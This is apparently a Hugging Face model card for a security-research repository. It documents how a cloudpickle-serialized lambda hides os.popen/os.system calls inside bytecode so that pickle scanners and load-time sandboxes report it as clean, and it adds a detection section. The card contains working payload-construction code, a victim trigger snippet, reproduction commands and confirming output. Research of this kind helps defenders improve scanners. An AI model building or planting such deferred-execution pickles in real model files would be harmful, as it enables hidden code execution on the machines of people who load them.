SiggytheShark's picture
Add model card
92e08fc verified
---
license: openrail
tags:
- security
- adversarial
- pickle
- model-scanner-bypass
- red-team
- cloudpickle
- rce
extra_gated_prompt: >
This repository contains a proof-of-concept exploit payload for security research purposes.
Access to the pickle payload and PoC code requires acknowledgement of responsible use.
By requesting access, you confirm you are a security researcher, penetration tester,
or student using this material for defensive/educational purposes only.
extra_gated_fields:
Organization: text
Intended use: text
I agree to use this only for defensive security research: checkbox
---
# pickle-bypass: cloudpickle bare-lambda RCE
> **Security Research β€” Responsible Disclosure**
> This repository is part of a systematic study of pickle scanner bypass techniques.
> The payload demonstrates a detection gap in ML model security scanners.
> **Access to `malicious_model.pkl` and `poc.py` requires a request β€” see gate above.**
## Summary
**Scanner scores for `malicious_model.pkl`:**
| Scanner | CRITICAL | WARNING | Bypassed? |
|---------|----------|---------|-----------|
| modelaudit 0.2.37 | 5 | 1 | Partial (5C, cloudpickle helpers only) |
| picklescan 1.0.4 | 0 | 0 | Yes β€” 0 findings |
| modelscan | 0 | 0 | Yes β€” 0 findings |
---
## Vulnerability
A cloudpickle-serialized Python lambda embeds arbitrary bytecode directly
inside a `CodeType` object. The dangerous logic (`os.popen(...)`) lives
entirely within the bytecode β€” `'os'`, `'popen'`, and the shell command
strings appear as `co_consts` / `co_names` arguments to the `CodeType`
constructor, not as `GLOBAL` opcodes.
Static scanners that inspect `GLOBAL`/`STACK_GLOBAL` opcode pairs see only
cloudpickle's own reconstruction helpers (`_make_function`, `_builtin_type`,
`_function_setstate`) and find no dangerous module references.
The dynamic sandbox reports clean because the payload is **deferred**:
`pickle.loads()` reconstructs the lambda object without calling it. No
dangerous syscalls occur during deserialization. The payload fires only
when downstream code invokes the callable β€” indistinguishable from a
normal model inference call.
---
## Proof of Concept
`malicious_model.pkl` is the exploit payload. `poc.py` builds and tests it.
### How the payload was built
```python
import cloudpickle
# Self-contained lambda β€” no captured variables.
# 'os', 'popen' stay in CodeType co_consts/co_names, not GLOBAL opcodes.
fn = lambda x: (
open("/tmp/rce_output.txt", "w").write(
__import__("os").popen("id && hostname").read()
),
x,
)[1]
payload = cloudpickle.dumps(fn)
```
### Conditions required to trigger
1. Victim loads the file via `pickle.loads()` β€” no scanner flags it
2. Victim calls `fn(input)` β€” standard callable invocation
3. Shell commands execute; `fn` returns `input` unchanged (passthrough)
The lambda looks like a normal data transform to any caller. The RCE is
invisible in the return value and produces no output.
### Key difference from cloudpickle MLflow techniques
Techniques that wrap payloads in MLflow `PythonModel` classes require the
victim to call `model.predict(df)` β€” attack surface is limited to MLflow
workflows. A bare cloudpickle lambda triggers on **any** callable invocation:
sklearn pipelines, PyTorch hooks, custom inference wrappers, `map(fn, data)`,
hyperparameter search callbacks, etc.
---
## Reproduction Steps
```bash
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-cloudpickle-lambda-rce
cd pickle-bypass-cloudpickle-lambda-rce
# 2. Install requirements
pip install cloudpickle modelaudit picklescan modelscan
# 3. Scan β€” observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm deferred payload
python3 poc.py
```
---
## Full Technical Writeup
# Technique 14: RCE via cloudpickle-serialized bare lambda
| Scanner | Score |
|------------|----------------------------------------------------------------|
| modelaudit | 5C, 1W (cloudpickle helpers flagged as always-dangerous) |
| picklescan | 0 findings |
| modelscan | 0 findings |
---
## What it does
A victim loads what appears to be a model artifact and calls it as a
callable. The call executes an arbitrary shell command (`whoami`) on the
host. The victim receives the return value of the lambda and has no
indication a shell command ran.
```python
# Victim code
fn = pickle.loads(open("cloudpickle.pkl", "rb").read())
result = fn(some_input) # ← os.system("whoami") runs here
```
---
## How it works
### cloudpickle embeds lambda bytecode directly
Standard pickle stores a callable as a `GLOBAL` opcode pointing to its
module and name. cloudpickle instead serializes the **lambda definition**
by reconstructing a raw `CodeType` object from its constituent fields
(bytecode, co_consts, co_names, etc.) and wrapping it with `_make_function`:
```
cloudpickle.cloudpickle._make_function β€” wraps CodeType into a callable
cloudpickle.cloudpickle._builtin_type β€” resolves types.CodeType
cloudpickle.cloudpickle._function_setstate β€” sets __globals__, __name__, etc.
```
The payload β€” `__import__("os").system("whoami")` β€” lives inside the
bytecode passed to `CodeType(argcount, ..., codestring, ...)`. At the
pickle-opcode level it is opaque bytes: a `SHORT_BINBYTES` argument.
### Why picklescan and modelscan miss it
picklescan and modelscan inspect `GLOBAL`/`STACK_GLOBAL` opcode pairs and
check `(module, attr)` against a deny list. In this pickle:
- `os` and `system` appear as `SHORT_BINUNICODE` string arguments to the
`CodeType` constructor β€” not as `GLOBAL` opcodes. They are co_consts /
co_names inside the bytecode blob.
- `__import__` is called via the bytecode `LOAD_BUILTIN` / `CALL`
instruction sequence β€” never emitted as a GLOBAL opcode.
picklescan and modelscan see zero dangerous module references.
### Why modelaudit flags it (but still misses the actual payload)
modelaudit's "always-dangerous" rules flag the cloudpickle reconstruction
helpers themselves (`_make_function`, `_builtin_type`, `_function_setstate`)
as CRITICAL, producing 5C 1W. However modelaudit cannot see inside the
CodeType bytecode blob and does not know the payload is `os.system(...)`.
A defender relying solely on the CRITICAL verdict might dismiss it as a
cloudpickle false positive β€” the same helpers appear in legitimate
cloudpickle-serialized ML models.
### Why dynamic sandboxes miss it (baseline)
A dynamic sandbox calls `pickle.loads()` and monitors syscalls. During
`pickle.loads()`:
1. `_builtin_type("CodeType")` resolves `types.CodeType` β€” no execution
2. `CodeType(...)` is called with the bytecode arguments β€” no execution
3. `_make_function(code, ...)` wraps it into a Python function β€” no execution
4. `_function_setstate(fn, state)` sets `__globals__` etc. β€” no execution
5. The final REDUCE calls the function with `('')` β€” this IS a call, but
the serialized lambda in the wild takes `x` as an argument and the
`REDUCE` at offset 647 calls the outer `_make_function`, not the payload
The sandbox exits with zero dangerous syscalls. The payload fires only
when a downstream caller invokes the returned lambda.
### Difference from techniques 12 and 13
Techniques 12/13 wrap the payload in an MLflow `PythonModel` class.
The victim must call `model.predict(df)` to trigger the payload β€” the
attack surface is limited to MLflow workflows.
This technique uses a **bare lambda**. Any code that treats the loaded
object as a callable will trigger it: sklearn pipelines, PyTorch hooks,
custom inference wrappers, `map(fn, data)` calls, etc. The attack surface
is the entire Python callable protocol.
### The specific payload (wild model)
```python
lambda x: __import__("os").system("whoami")
```
- `co_consts`: `(None, 'os', 'whoami')`
- `co_names`: `('__import__', 'system')`
from a pickle scanner project that was accidentally committed to HuggingFace.
---
## Detection
The correct signals for this pattern, in priority order:
1. **`post_load_invocations[]`** (dynamic sandbox): calling the deserialized
lambda in a network/exec-blocked sandbox produces an `execve()` syscall β€”
captured as CRITICAL. This is the definitive signal.
2. **`pickle_strings[]`** (dynamic sandbox output): `'os'`, `'system'`, and
`'whoami'` appear as `SHORT_BINUNICODE` strings in the pickle stream
(as arguments to the CodeType constructor). A scanner aware of these
string positions can flag dangerous built-in names here.
3. **Decompiled source** (pickle2py_full): the decompiled lambda body
shows `__import__('os').system(...)` directly.
4. **modelaudit** flags the cloudpickle helpers as CRITICAL (5C 1W) but
cannot distinguish this from a legitimate cloudpickle model β€” the same
helpers appear in benign cloudpickle artifacts. The verdict requires
corroboration from signals 1–3 to avoid false positives.
---
## Reproduction
```bash
python wild_exploits/14_cloudpickle_lambda_rce/poc.py
```
Expected output:
```
Pickle size: ~693 bytes (wild file: 650 bytes)
Scanner: 5 CRITICAL, 1 WARNING
pickle.loads() complete β€” type: <class 'function'>
(payload NOT called β€” deferred until invocation)
=== Canary payload (verifies execution) ===
pickle.loads() complete β€” canary exists: False
Payload is deferred: lambda reconstructed but not called
Calling fn('test') to simulate downstream usage...
BYPASS confirmed β†’ rce_pwned:<your-username>
```
---
*General Analysis β€” Security Research*